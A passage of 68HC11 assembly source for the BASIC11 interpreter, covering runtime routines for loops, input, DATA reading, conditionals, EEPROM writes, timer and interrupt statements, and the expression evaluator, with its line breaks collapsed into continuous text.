STEP VALUE TO IT. bvs RNEXT4 ; ON OVERFLOW, EXIT (bug fix) std ,y ; SAVE THE RESULT. tst 2,X ; IS THE STEP VALUE NEGATIVE? bmi RNEXT2 ; YES. GO DO TEST. cmpd 4,X ; NO. ARE WE DONE? ble RNEXT3 ; NO. GO DO THE LOOP AGAIN. RNEXT4 puly ; RESTORE THE CURRENT IP. xgdx ; PUT "FOR - NEXT" STACK POINTER IN D. addd #10 ; REMOVE DESCRIPTOR FROM STACK. std FORSTACK ; SAVE NEW STACK VALUE. jmp RSKIPSPC ; SKIP SPACES AFTER CONTROL VARIABLE. RNEXT2 cmpd 4,X ; ARE WE DONE? blt RNEXT4 ; YES. CONTINUE. RNEXT3 puly ; CLEAN Y OFF OF STACK. ldy 6,X ; GET NEW IP. ldd 8,X ; GET LINE NUMBER OF FOR STATEMENT. std CURLINE ; MAKE IT THE CURRENT LINE. rts RINPUT bsr CHCKDEV ; CHECK FOR ALTERNATE INPUT DEVICE. lda ,y ; GET A TOKEN. cmpa #SCONTOK ; IS THERE A PROMPT TO PRINT? bne RINPUT1 ; NO JUST GO GET THE DATA. pshy ; YES. SAVE POINTER. ldb #2 ; COMPENSATE FOR CONSTANT & LENGTH BYTE. addb 1,Y ; ADD IN LENGTH BYTE. aby ; POINT BEYOND PROMPT. pulx ; GET POINTER INTO X. inx ; POINT TO LENGTH BYTE. ldb ,x ; GET IT. subb #2 ; SUBTRACT OUT THE DELIMETER COUNT. inx:2 ; POINT TO STRING. jsr OUTSTR ; GO PRINT THE STRING. iny ; BYPASS COMMA. jsr RSKIPSPC ; SKIP SPACES AFTER COMMA. bra RINPUT6 RINPUT1 jsr NL RINPUT6 ldx #QSP ; POINT TO PROMPT. jsr PL ; PRINT IT. jsr GETLINE ; GET THE DATA IN THE INPUT BUFFER. bsr RINRDC bcs RINPUT1 jsr NL clr DEVNUM ; SET DEVICE NUMBER BACK TO 0. rts QSP fcs "? " CHCKDEV lda ,y ; GET A TOKEN. cmpa #PNUMTOK ; IS AN ALTERNATE DEVICE SPECIFYED? beq CHCKDEV1 ; YES. CONTINUE. rts ; NO. RETURN. CHCKDEV1 iny ; YES. PASS THE '#' TOKEN. jsr RSKIPSPC ; SKIP SPACES. jsr DONEXP ; GO EVALUATE THE NUMERIC EXPRESSION. jsr PULNUM ; GET THE NUMBER OFF THE STACK. bpl CHCKDEV2 ; NEGATIVE NUMBERS NOT ALLOWED. CHCKDEV3 lda #ILLIOERR ; REPORT THE ERROR. jmp RPTRERR CHCKDEV2 cmpd #$0007 ; IS IT LARGER THAN 7? bhi CHCKDEV3 stb DEVNUM ; MAKE IT THE NEW DEVICE NUMBER. jsr RSKIPSPC ; SKIP SPACES. cmpa #EOLTOK ; IF THIS IS A PRINT STATEMENT, IS IT EOL? beq :AnRTS ; YES. DON'T BUMP THE IP. iny ; BYPASS THE COMMA. jsr RSKIPSPC ; SKIP SPACES. rts ; RETURN. RINRDC jsr SKIPSPCS cmpa #EOL bne RINRDC1 sec rts RINRDC1 bsr INNUMD jsr RSKIPSPC lda ,y cmpa #EOLTOK beq RINRDC2 cmpa #MEOLTOK beq RINRDC2 iny ; BUMP PAST THE COMMA. jsr RSKIPSPC bra RINRDC RINRDC2 clc rts INNUMD cmpa #'$' bne INNUM2 jsr INCIBP jsr GETHEX bra INNUM3 INNUM2 bsr INDECI INNUM3 pshd jsr SKIPSPCS cmpa #COMMA beq INNUM4 cmpa #EOL beq INNUM7 lda #MCOMAERR jmp RPTRERR INNUM4 jsr INCIBP INNUM7 jsr RVARPTR xgdx puld std ,x rts OUTSTR tstb beq :AnRTS OUTSTR1 lda ,x inx jsr OUTBYTE decb bne OUTSTR1 rts INDECI jsr GETCHR ; GET A CHARACTER. cmpa #'-' ; IS IT A NEGATIVE NUMBER? bne INDECI1 ; NO. GO GET POSITIVE NUMBER. jsr INCIBP ; YES. BUMP INPUT BUFFER PAST IT. jsr GETDECI ; GET THE NUMBER. negd ; NEGATE IT. rts ; RETURN. INDECI1 jsr GETDECI rts RREAD ldx DATAPTR ; GET POINTER TO DATA. IS IT POINTING TO DATA? bne RREAD1 ; YES. CONTINUE TO READ DATA. bsr RRESTOR ; NO. GO GET POINTER TO FIRST DATA STATEMENT. ldx DATAPTR ; GET POINTER TO DATA. RREAD1 stx IBUFPTR ; PUT IT IN THE INPUT BUFFER POINTER. bsr RINRDC ; GO USE INPUT/READ COMMON CODE. bcs RREAD2 ; IF CARRY SET, MORE DATA TO READ. ldx IBUFPTR ; GET POINTER TO DATA LINE. stx DATAPTR ; SAVE DATA POINTER FOR NEXT READ. rts ; RETURN. RREAD2 pshy ; SAVE Y. ldy IBUFPTR iny:2 bsr RESTOR4 ; GO FIND NEXT "DATA" STATEMENT. puly ; RESTORE Y. bra RREAD ; KEEP READING DATA. RRESTOR pshy ; SAVE Y. ldy BASBEG ; START SEARCH FOR "DATA" STATEMENTS AT THE BEGIN. RESTOR2 pshy ; SAVE POINTER TO THIS LINE. ldb 2,Y ; GET LINE LENGTH. aby ; GET START OF NEXT LINE. sty DATAPTR ; SAVE IN "DATAPTR". puly ; RESTORE POINTER. ldb #3 aby ; POINT TO FIRST TOKEN IN LINE. jsr RSKIPSPC ; SKIP SPACES. lda ,y ; GET THE KEYWORD. cmpa #DATATOK ; IS IT A DATA LINE? beq RESTOR1 ; YES. GO SET UP POINTER. ldy DATAPTR ; GET ADDRESS OF NEXT LINE. RESTOR3 cpy BASEND ; ARE WE AT THE END OF THE PROGRAM? bne RESTOR2 ; NO. KEEP LOOKING. lda #ODRDERR ; OUT OF DATA ERROR. jmp RPTRERR ; REPORT THE ERROR. RESTOR1 iny:2 ; POINT PAST DATA TOKEN & THE DATA LENGTH. sty DATAPTR ; SAVE POINTER TO DATA. puly ; RESTORE Y. rts ; RETURN. RESTOR4 pshy ; CALL TO COMPENSATE FOR PULL OF Y ON RETURN. bra RESTOR3 RIF jsr DONEXP ; GO DO A NUMERIC EXPRESSION. jsr RSKIPSPC ; SKIP SPACES. iny ; SKIP PAST "THEN" TOKEN. jsr RSKIPSPC ; SKIP SPACES AFTER THEN. jsr PULNUM ; GET RESULT OF EXPRESSION FROM OPERAND STACK. beq RIF1 ; NOT TRUE. SEE IF ELSE CLAUSE PRESENT. RIF3 jmp RGOTO ; RESULT WAS TRUE. GOTO PROPER LINE NUMBER. RIF1 ldb #3 ; BUMP IP PAST LINE NUMBER. aby jsr RSKIPSPC ; SKIP SPACES IF PRESENT. lda ,y ; GET NEXT TOKEN. cmpa #ELSETOK ; IS IT THE "ELSE" CLAUSE. bne :AnRTS ; NO RETURN. iny ; PASS ELSE TOKEN. jsr RSKIPSPC ; SKIP SPACES. bra RIF3 ; DO A GOTO. ;************ ; program a word of EEPROM REEP iny ; PASS UP THE OPEN PAREN. jsr RSKIPSPC ; PASS UP ANY SPACES. jsr DONEXP ; GO GET THE "SUBSCRIPT" OF THE EEPROM LOCATION. iny:2 ; PASS UP THE CLOSING PAREN AND THE EQUALS TOKEN. jsr DONEXP ; GET VALUE TO FROGRAM INTO EEPROM. pshy ; SAVE THE Y REG. ldy NUMSTACK ; POINT TO THE NUMERIC STACK. ldd 2,Y ; GET THE SUBSCRIPT FOR THE EEPROM LOCATION. bmi REEP1 ; NEGATIVE SUBSCRIPTS NOT ALLOWED. cmpd #MAXEESUB ; IS THE SUBSCRIPT WITHIN RANGE? bls REEP2 ; YES. CONTINUE. REEP1 lda #EESUBERR ; EEPROM SUBSCRIPT ERROR. jmp RPTRERR ; REPORT IT. REEP2 lsld ; MULT THE SUBSCRIPT BY 2. addd #EEPBASAD ; ADD IN THE EEPROM BASE ADDRESS. xgdx ; PUT THE ADDRESS INTO X. lda ,x ; GET THE MOST SIGNIFIGANT BYTE OF THE CURRENT NUM. cmpa #$FF ; DOES IT NEED ERASING? beq REEP3 ; NO. SEE IF NEXT BYTE NEEDS ERASING. bsr ERASEBYT ; YES. GO ERASE IT. REEP3 inx ; POINT TO NEXT BYTE. lda ,x ; GET NEXT BYTE. cmpa #$FF ; DOES THIS BYTE NEED TO BE ERASED? beq REEP4 ; NO. GO WRITE DATA TO EEPROM. bsr ERASEBYT ; YES. GO ERASE THE BYTE. REEP4 lda 1,Y ; GET LS BYTE OF WORD. bsr PROGBYTE ; GO PROGRAM THE BYTE. dex ; POINT TO THE MOST SIGNIFIGANT EEPROM LOCATION. lda ,y ; GET THE MS BYTE OF THE WORD. bsr PROGBYTE ; GO PROGRAM THE BYTE. puly ; RESTORE Y. jsr:2 PULNUM ; FIX UP NUM STACK. rts ; RETURN. ;************ ; ERASEBYT pshy ldy IOBASEV ; Point to the base address of the I/O Registers. ldb #$16 ; SET UP BYTE ERASE MODE, ADDR LATCH, ERASE stb PPROG,Y ; VOLTAGE OFF. sta ,x ; LATCH ADDRESS. tpa ; GET CURRENT I-BIT STATUS. psha ; SAVE IT. sei ; INHIBIT INTERRUPTS WHILE ERASING. ldb #$17 ; TURN ON ERASE VOLTAGE stb PPROG,Y bsr DLY10MS ; DELAY ABOUT 10 MS. ldb #$16 ; TURN PROGRAMING VOLTAGE OFF. stb PPROG,Y pula ; GET ORIGINAL I-BIT STATUS. tap ; RESTORE IT. clr PPROG,Y puly rts ; RETURN. ;************ ; write data A to address Y #ifdef PROGBYTE xgxy ; swap X & Y jsr WRITE ; write A to Y xgxy ; swap X & Y rts ; return #endif ;************ ; PROGBYTE pshy ldy IOBASEV ; Point to the base address of the I/O Registers. PROGBYT2 ldb #$02 ; SET UP NORMAL PROGRAMING MODE, ADDRESS/DATA stb PPROG,Y ; LATCHED, PROGRAMING VOLTAGE OFF. sta ,x ; LATCH DATA & ADDRESS. psha ; SAVE THE DATA FOR COMPARE AFTER PROGRAMING. tpa ; GET CURRENT I-BIT STATUS. psha ; SAVE IT. sei ; INHIBIT INTERRUPTS WHILE PROGRAMING. ldb #$03 ; TURN ON PROGRAMING VOLTAGE. stb PPROG,Y bsr DLY10MS ; LEAVE IT ON FOR 10 MS. ldb #$02 ; NOW, TURN THE PROGRAMMING VOLTAGE OFF. stb PPROG,Y pula ; GET ORIGINAL I-BIT STATUS. tap ; RESTORE IT. clr PPROG,Y ; PUT THE EEPROM BACK IN THE READ MODE. pula ; RESTORE THE DATA TO SEE IF IT WAS PROGRAMMED. cmpa ,x ; WAS THE DATA WRITTEN PROPERLY? bne PROGBYT2 ; NO. TRY AGAIN. puly ; Restore Y. rts ; YES. RETURN. DLY10MS pshx ; SAVE X. ldx #3330 ; GET DELAY CONSTANT. DLY10MS1 dex ; DECREMENT THE COUNT. DONE? bne DLY10MS1 ; NO. DELAY SOME MORE. pulx ; RESTORE X. rts ; RETURN. RINBYTE jsr CHCKDEV ; GO CHECK FOR AN ALTERNATE DEVICE DESIGNATION. jsr RVARPTR ; GO GET POINTER TO THE BYTE INPUT VARIABLE. xgdx ; PUT THE POINTER INTO X. jsr INBYTE ; GO GET A BYTE FROM THE SPECIFIED INPUT DEVICE. tab ; PUT THE BYTE IN THE L.S.BYTE. clra ; ZERO THE UPPER BYTE. std ,x ; PUT IT IN THE VARIABLE. clr DEVNUM ; RESET TO DEVICE #0. rts ; RETURN. RTIME iny ; POINT PAST THE EQUALS TOKEN. jsr DONEXP ; GO EVALUATE THE EXPRESSION. jsr PULNUM ; GET THE NUMBER OFF THE STACK. std TIMEREG ; PUT IT IN THE TIME REGISTER. rts ; RETURN. ;************ ; CLS command RCLS ldx #CLSSTR jmp PL CLSSTR fcc ESC,"[2J" ; CLR SCREEN fcs ESC,"[0;0H" ; TOP LEFT CORNER FCC "BASIC11 V1.55" ;************ ; RRTIME sei ; disable interrupts. lda #SWPRE+1 ; ADD 1 TO NORMAL PRE SCALER. sta TIMEPRE ; SET UP THE SOFTWARE PRESCALER. ldx IOBASEV ; Point to the I/O Base Address. ldd TCNT,x ; get the current value of the timer counter. jsr TIMINTS3 ; go initialize the TOC using the timer interrupt code. clrd std TIMEREG ; PUT IT IN THE TIME REGISTER. cli rts ; RETURN. RPACC iny ; POINT PAST EQUALS TOKEN. jsr DONEXP ; EVALUATE THE EXPRESSION. jsr PULNUM ; GET THE NUMBER OFF THE STACK. tsta ; IS THE NUMBER WITHIN RANGE? beq RPACC1 ; YES. GO SETUP THE PACC REGISTER. lda #PACCARGE ; NO. REPORT AN ERROR. jmp RPTRERR RPACC1 ldx IOBASEV stb PACNT,X ; PUT NUMBER IN PULSE ACC. rts ; RETURN. RONTIME bsr CHCKIMID ; NOT ALLOWED IN IMMIDIATE. jsr DONEXP ; GO EVALUATE THE TIME "MATCH" EXPRESSION. jsr PULNUM ; GET THE NUMBER OFF THE STACK. std TIMECMP ; PUT IN THE COMPARE REGISTER. jsr RSKIPSPC ; SKIP SPACES. iny ; PASS UP COMMA. jsr RSKIPSPC ; SKIP SPACES. sty ONTIMLIN ; SAVE THE POINTER TO THE LINE NUMBER. bra RONIRQ2 ; GO FINISH UP. RONIRQ bsr CHCKIMID jsr DONEXP ; GO CHECK TO SEE IF WE ARE TO ENABLE OR DISABLE. jsr RSKIPSPC ; SKIP SPACES UP TO COMMA. iny ; BYPASS COMMA. jsr RSKIPSPC ; SKIP SPACES UP TO LINE NUMBER. jsr PULNUM ; GET MODE. SHOULD WE ENABLE THE FUNCTION? bne RONIRQ1 ; YES. std ONIRQLIN ; NO. MAKE THE LINE NUMBER 0. bra RONIRQ2 ; GO FINISH UP. RONIRQ1 sty ONIRQLIN ; SAVE THE POINTER TO THE LINE NUMBER, RONIRQ2 ldb #3 ; MOVE IP PAST THE LINE NUMBER. aby rts ; RETURN. RRETI bsr CHCKIMID tpa ; CHECK TO SEE IF THE INTERRUPT MASK IS SET. bita #$10 ; ARE WE IN AN INTERRUPT ROUTINE? bne RRETI1 ; SINCE THE IRQ MASK IS SET WE MUST BE. lda #NOTINTER ; NO. FLAG AN ERROR. jmp RPTRERR ; GO REPORT IT. RRETI1 ldd SCURLINE ; RESTORE THE MAIN PROGRAM CURRENT LINE. std CURLINE ldd SADRNXLN ; RESTORE MAIN PROGRAM "ADDRESS OF THE NEXT LINE". std ADRNXLIN ins:2 ; TAKE THE RETURN ADDRESS OFF THE STACK. rti ; GO BACK TO WHERE WE LEFT OFF. CHCKIMID tst IMMID ; ARE WE IN THE IMMIDIATE MODE? beq :AnRTS ; NO. JUST RETURN. lda #NOTALERR ; YES. THIS COMMAND NOT ALLOWED. jmp RPTRERR ; REPORT THE ERROR. RONPACC bsr CHCKIMID ; THIS INSTRUCTION NOT ALLOWED IN IMMID MODE. bsr DONEXP ; GO EVALUATE THE COUNT MODE EXPRESSION. jsr RSKIPSPC ; SKIP SPACES. iny ; BYPASS THE COMMA. jsr RSKIPSPC ; SKIP SPACES AFTER COMMA. bsr DONEXP ; GO EVALUATE THE INTERRUPT MODE EXPRESSION. jsr RSKIPSPC ; SKIP SPACES. iny ; BYPASS THE COMMA. jsr RSKIPSPC ; SKIP SPACES AFTER THE COMMA. tpa ; GET CURRENT I-BIT STATUS. psha ; SAVE IT. sei ; INHIBIT INTERRUPTS. sty ONPACLIN ; SAVE POINTER TO INTERRUPT ROUTINE. jsr PULNUM ; GET INTERRUPT MODE OFF STACK. RONPACC1 cmpd #1 ; IS THE ARGUMENT <=1? bls RONPACC2 ; YES. ARG. OK. RONPACC5 lda #INTMODER ; NO. GET ERROR CODE. jmp RPTRERR RONPACC2 lda #$10 ; GET BIT TO ENABLE INTERRUPT. tstb ; WAS THE ARGUMENT 0? beq RONPACC3 ; YES. GO ENABLE INTS. ON EACH COUNT. lsla ; NO. ENABLE INTS. ON PACC OVERFLOW ONLY. RONPACC3 ldx IOBASEV sta TMSK2,X jsr PULNUM ; GET THE COUNT MODE OFF THE STACK. bne RONPACC4 ; GO SET THE MODE IF NOT 0. ldx IOBASEV clr PACTL,X ; TURN OFF THE PULSE ACCUMULATOR. std ONPACLIN ; CLEAR POINTER TO LINE NUMBER. bra RONPACC6 ; GO CLEAN UP & RETURN. RONPACC4 cmpd #4 ; IS THE ARGUMENT IN RANGE? bhi RONPACC5 ; YES. REPORT AN ERROR. addb #3 ; GET BIT TO ENABLE PACC. lslb:4 ldx IOBASEV stb PACTL,X ; ENABLE THE PACC & SET MODE. RONPACC6 pula ; GET OLD I-BIT STATUS OFF STACK. tap ; RESTORE OLD STATUS. ldb #3 aby ; PASS UP LINE NUMBER. rts ; RETURN. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include REXPRES.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; * ; RUNTIME EXPRESSION EVALUATION SUBROUTINE * ; * ;***************************************************************************** DONEXP lda #OPARNTOK ; USE AN OPEN PAREN AS AN END OF EXPRESSION MARKER. jsr PSHOP ; PUSH OPEN PAREN ON THE STACK. DONEXP1 lda ,y ; GET THE NEXT CHARACTER IN THE EXPRESSION. cmpa #OPARNTOK ; IS IT AN OPEN PAREN? bne DONEXP4 ; NO. CONTINUE. iny ; POINT TO NEXT TOKEN. bsr DONEXP ; GO DO A SUBEXPRESSION. iny ; MOVE THE IP PAST THE CLOSING PAREN. bra DONEXP1 ; GO GET THE NEXT CHARACTER. DONEXP4 tsta ; CHECK FOR OPERATOR OR OPERAND. bpl DONEXP2 ; IF NOT VARIABLE OR CONSTANT, GO CHECK FOR FUNCT. bsr PSHNUM ; GO PUSH OPERAND ONTO STACK. bra DONEXP1 ; GO GET NEXT TOKEN. DONEXP2 jsr CHKNFUN ; GO CHECK FOR FUNCTION THAT RETURNS A NUMBER. jsr CHCKEE ; GO CHECK FOR END OF EXPRESSION. bcc DONEXP3 ; IF NOT END OF EXPRESSION, GO PUSH OPERATOR. rts ; IF AT END, RETURN. DONEXP3 iny ; POINT TO THE NEXT TOKEN. jsr PSHOP ; PUSH OPERATOR ONTO STACK. bra DONEXP1 ; GO GET NEXT TOKEN. ; PSHNUM SUBROUTINE ; ; PUSHES A NUMERIC OPERAND (CONSTANT OR VARIABLE) VALUE ONTO THE ; OPERAND STACK. PSHNUM cmpa #IVARTOK ; IS IT AN INTEGER SCALER VARIABLE? bne PSHNUM1 ; NO. GO CHECK FOR CONSTANT. ldd 1,Y ; YES. GET THE "OFFSET" ADDRESS. addd VARBEGIN ; ADD IN THE START ADDRESS OF THE VARIABLE TABLE. xgdx ; GET THE ADDRESS INTO X. ldb #$03 ; BUMP INTERPRETER POINTER PAST "VARIABLE". aby ldd 3,X ; GET THE VARIABLE VALUE. bra PSHNUM4 ; GO PUT IT ON THE STACK. PSHNUM1 cmpa #ICONTOK ; IS IT AN INTEGER CONSTANT? bne PSHNUM2 ; NO. GO CHECK FOR AN INTEGER ARRAY VARIABLE. ldx 1,Y ; GET THE CONSTANT VALUE INTO X. ldb #$04 addb 3,Y aby xgdx ; PUT THE CONSTANT VALUE INTO D. bra PSHNUM4 ; GO PUT IT ON THE STACK. PSHNUM2 cmpa #IAVARTOK ; IS IT AN INTEGER ARRAY? bne PSHNUM3 ; NO. GO CHECK FOR A STRING VARIABLE. bsr CALCSUB ; GO GET BASE ADDR. & SUBSCRIPT OF ARRAY. pshy ; SAVE THE INTERPRETER POINTER. pshx ; PUT THE BASE ADDRESS OF THE ARRAY ON THE STACK. asld ; MULTIPLY THE SUBSCRIPT BY THE # OF BYTES/ELEMENT. tsy ; POINT TO THE BASE ADDRESS. addd ,y ; GET ADDRESS OF THE ELEMENT. pulx ; RESTORE X. puly ; RESTORE Y xgdx ; PUT ELEMENT ADDRESS INTO X. ldd ,x ; GET VALUE OF ELEMENT IN D. bra PSHNUM4 PSHNUM3 lda #ILTOKERR jmp RPTRERR PSHNUM4 ldx NUMSTACK ; GET THE OPERAND STACK POINTER. dex ; MAKE ROOM ON THE STACK FOR NEW OPERAND. dex cpx ENUMSTK ; HAS THE STACK OVERFLOWED? bhs PSHNUM5 ; NO. GO STACK THE VALUE. lda #MSTKOERR ; YES. sta ERRCODE jmp RPTRERR ; GO REPORT THE ERROR. PSHNUM5 stx NUMSTACK ; SAVE THE STACK POINTER. std ,x ; PUT THE VALUE ON THE STACK. rts ; RETURN. ; THIS SUBROUTINE CALCULATES BOTH THE BASE ADDRESS AND THE ; SUBSCRIPT OF THE ARRAY VARIABLE THAT IS CURRENTLY POINTED TO BY ; THE Y-REG. IT CHECKS TO SEE IF THE VARIABLE HAS BEEN DIMENTIONED ; AND IF THE SUBSCRIPT IS IN RANGE. THE ROUTINE RETURNS WITH THE ; ADDRESS OF THE ARRAY IN THE X-REG. & THE SUBSCRIPT IN THE D-REG. CALCSUB ldd 1,Y ; GET THE VARIABLE OFFSET ADDRESS. addd VARBEGIN ; ADD IN THE START OF THE VARIABLE AREA. xgdx ; PUT ADDRESS INTO X. ldx 3,X ; GET THE ACTUAL STORAGE ADDRESS. ; HAS THE ARRAY BEEN DIMENTIONED? bne CALCSUB2 ; YES. CONTINUE. lda #UNDIMERR ; NO. UNDIMENTIONED ARRAY REFERENCE. CALCSUB1 jmp RPTRERR ; GO REPORT THE ERROR. CALCSUB2 ldb #$4 ; SET POINTER TO START OF SUBSCRIPT EXPRESSION. aby pshx ; SAVE THE POINTER TO THE ARRAY STORAGE AREA. jsr DONEXP ; GO GET THE SUBSCRIPT. iny ; BUMP IP PAST THE CLOSING PAREN OF THE SUBSCRIPT. pulx ; RESTORE X. bsr PULNUM ; GET SUBSCRIPT FROM THE OPERAND STACK. cmpd ,x ; IS THE SUBSCRIPT WITHIN RANGE? bls CALCSUB3 ; YES. CONTINUE. lda #SUBORERR ; NO. SUBSCRIPT OUT OF RANGE ERROR. bra CALCSUB1 ; GO REPORT IT. CALCSUB3 inx:2 ; BYPASS THE SUBSCRIPT LIMIT. rts PULNUM pshx ; SAVE THE X-REG. ldx NUMSTACK ; GET THE OPERAND STACK POINTER. ldd ,x ; GET THE OPERAND. inx:2 ; BUMP THE STACK POINTER. stx NUMSTACK ; SAVE THE STACK POINTER. pulx ; RESTORE THE X-REG. cmpd #0 ; "TEST" THE OPERAND BEFORE WE RETURN. rts ; RETURN. ; /***** chcknfun() *****/ ; ; checks for a numeric function and performs it if present CHKNFUN cmpa #FUNCTFLG ; IS THIS A FUNCTION CALL? beq CHKNFUN1 ; YES. GO DO THE FUNCTION. rts ; NO. JUST RETURN. CHKNFUN1 lda 1,Y ; GET THE FUNCTION CODE BYTE IN B. deca ; SUBTRACT 1 FOR INDEXING. ldb #3 ; BUMP THE IP. aby ; POINT TO THE FIRST ELEMENT IN THE EXPRESSION. tab ; PUT THE FUNCTION NUMBER INTO B. aslb ; MULT BY THE NUMBER OF BYTES/ADDRESS. ldx #RNFUNCT ; POINT TO THE FUNCTION ADDRESS TABLE. abx ; POINT TO THE PROPER FUNCTION. ldx ,x ; GET THE ADDRESS INTO X. jsr ,x ; GO DO THE FUNCTION. iny ; PUT IP PAST THE CLOSING PAREN. lda ,y ; GET NEXT CHARACTER. rts ; RETURN. RNFUNCT fdb RFDIV fdb ICHRS ; "ICHRS" BECAUSE IT'S ILLEGAL IN AN EXPRESSION. fdb RADC fdb RABS fdb RRND fdb RSGN fdb ITAB ; "ITAB" BECAUSE IT'S ILLEGAL IN AN EXPRESSION. fdb RCALL fdb RPEEK fdb RFEEP ; "EEP" AS A FUNCTION. fdb IHEX ; "IHEX" BECAUSE IT'S ILLEGAL IN AN EXPRESSION. fdb RFPORTA fdb RFPORTB fdb RFPORTC fdb RFPORTD fdb RFPORTE fdb RFTIME fdb IHEX2 ; "IHEX2" BECAUSE IT'S ILLEGAL IN AN EXPRESSION. fdb RFPACC ; /***** chckee() *****/ ; ; if the current token is a semicolin, comma, colin, or space ; all pending operations on the math stack are performed and ; we return with the carry set CHCKEE cmpa #CPARNTOK ; IS IT A CLOSED PAREN? beq CHCKEE2 ; YES. cmpa #MEOLTOK ; IS IT ONE OF THE "EXPRESSION END" TOKENS? bhs CHCKEE1 ; YES. clc ; FLAG "NOT AT THE END OF EXPRESSION". rts ; RETURN. CHCKEE1 lda #CPARNTOK ; END OF EXPRESSION FOUND. PERFORM ALL PENDING CHCKEE2 bsr PSHOP ; OPERATIONS. sec ; FLAG END OF EXPRESSION. rts PSHOP ldx OPSTACK ; GET THE OPERATOR STACK POINTER. dex ; DECREMENT THE STACK POINTER. cpx EOPSTK ; DID THE STACK OVERFLOW? bne PSHOP1 ; NO. CONTINUE. lda #MSTKOERR ; YES. jmp RPTRERR ; GO REPORT THE ERROR. PSHOP1 stx OPSTACK sta ,x ; PUT IT ON THE STACK. PSHOP2 ldx OPSTACK lda ,x ; GET THE NEW OPERATOR OFF THE TOP OF STACK. cmpa #OPARNTOK ; IS IT AN OPEN PAREN? beq :AnRTS ; YES. GO PUSH IT. ldb 1,X ; GET THE PREVIOUS OPERATOR OFF THE STACK. andb #$F0 ; MASK ALL BUT THE PRECIDENCE VALUE. anda #$F0 ; MASK ALL BUT THE OPERATOR PRECIDENCE. cba ; IS THE PRECIDENCE OF THE CURRENT OPERATOR >= ; THE OPERATOR ON THE TOP OF THE STACK? bhi :AnRTS ; NO. JUST GO PUSH IT ON THE STACK. lda 1,X ; YES. GET THE PREVIOUS OPERATOR FROM THE STACK. ldb ,x ; GET THE CURRENT OPERATOR FROM THE STACK. cmpb #CPARNTOK ; IS THE CURRENT OPERATOR A CLOSED PAREN? bne PSHOP3 ; NO. CONTINUE. cmpa #OPARNTOK ; YES. IS THE PREVIOUS OPERATOR AN OPEN PAREN? bne PSHOP3 ; NO. CONTINUE. inx:2 ; YES. KNOCK BOTH OPERATORS OFF THE STACK. stx OPSTACK ; SAVE THE STACK POINTER. rts ; RETURN. PSHOP3 stb 1,X ; PUT IT ON THE STACK. inx ; UPDATE THE STACK POINTER. stx OPSTACK bsr DOOP ; GO DO THE OPERATION. bra PSHOP2 ; GO TRY FOR ANOTHER OPERATION. DOOP cmpa #$70 ; IS IT A UINARY OPERATOR? blo DOOP1 ; NO. GO CHECK THE NEXT GROUP. suba #$70 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR7 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP1 cmpa #$60 ; IS IT THE "^" OPERATOR? blo DOOP2 ; NO. GO CHECK THE NEXT GROUP. suba #$60 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR6 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP2 cmpa #$50 ; IS IT MULTIPLY, DIVIDE, OR MOD? blo DOOP3 ; NO. GO CHECK THE NEXT GROUP. suba #$50 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR5 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP3 cmpa #$40 ; IS IT ADD OR SUBTRACT? blo DOOP4 ; NO. GO CHECK THE NEXT GROUP. suba #$40 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR4 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP4 cmpa #$30 ; IS IT A LOGICAL OPERATOR? blo DOOP5 ; NO. GO CHECK THE NEXT GROUP. suba #$30 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR3 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP5 cmpa #$20 ; IS IT AND, OR, OR EOR? blo DOOP6 ; NO. ERROR. suba #$20 ; YES. SUBTRACT THE BASE VALUE OF THE GROUP. ldx #HEIR2 ; POINT TO THE EXECUTION ADDRESS TABLE. bra DOOP7 ; GO DO THE OPERATION. DOOP6 lda #ILTOKERR ; ILLEGAL OPERATOR TOKEN ENCOUNTERED. jmp RPTRERR ; GO REPORT THE ERROR. DOOP7 tab ; PUT THE OFFSET IN B. aslb ; MULTIPLY THE OFFSET BY 2. abx ; POINT TO THE ROUTINE ADDRESS. ldx ,x ; GET THE ADDRESS. jmp ,x ; GO DO THE OPERATION & RETURN. HEIR7 fdb :AnRTS ;RINDIR fdb RNOT fdb RNEG HEIR6 fdb :AnRTS ;RPWR HEIR5 fdb RMULT fdb RDIV fdb RMOD HEIR4 fdb RPLUS fdb RMINUS HEIR3 fdb RLT fdb RGT fdb RLTEQ fdb RGTEQ fdb REQ fdb RNOTEQ HEIR2 fdb RAND fdb RORV fdb REOR REOR jsr PULNUM ldx NUMSTACK eora ,x eorb 1,X REOR1 std ,x rts RORV jsr PULNUM ldx NUMSTACK ora ,x orb 1,X bra REOR1 RAND jsr PULNUM ldx NUMSTACK anda ,x andb 1,X bra REOR1 RPLUS jsr PULNUM ldx NUMSTACK addd ,x bra REOR1 RMINUS ldx NUMSTACK ldd 2,X subd ,x inx:2 std ,x stx NUMSTACK rts RDIV bsr RDIVS ; GO DO A SIGNED DIVIDE. jsr PULNUM ; GET INTEGER RESULT OFF STACK. ldx NUMSTACK ; POINT TO NUMERIC STACK. std ,x ; OVERWRITE REMAINDER. rts ; RETURN. RDIVS ldx NUMSTACK ; POINT TO NUMERIC STACK. lda ,x ; GET UPPER BYTE OF DIVISOR. eora 2,X ; GET SIGN OF THE RESULT. psha ; SAVE RESULT. ldd ,x ; GET DIVISOR OFF NUMERIC STACK. IS IT ZERO? bne RDIV1 ; NO. CONTINUE. RDIV2 lda #ZDIVERR ; YES. GET DIVIDE BY ZERO ERROR. jmp RPTRERR ; GO REPORT IT. RDIV1 bpl RDIV3 ; IF POSITIVE IT'S OK. bsr RNEG ; IF NOT MAKE IT POSITIVE. RDIV3 tst 2,X ; IS THE DIVIDEND NEGATIVE? bpl RDIV4 ; NO. CONTINUE. ldd 2,X ; YES. GET THE NUMBER. negd ; NEGATE IT. std 2,X 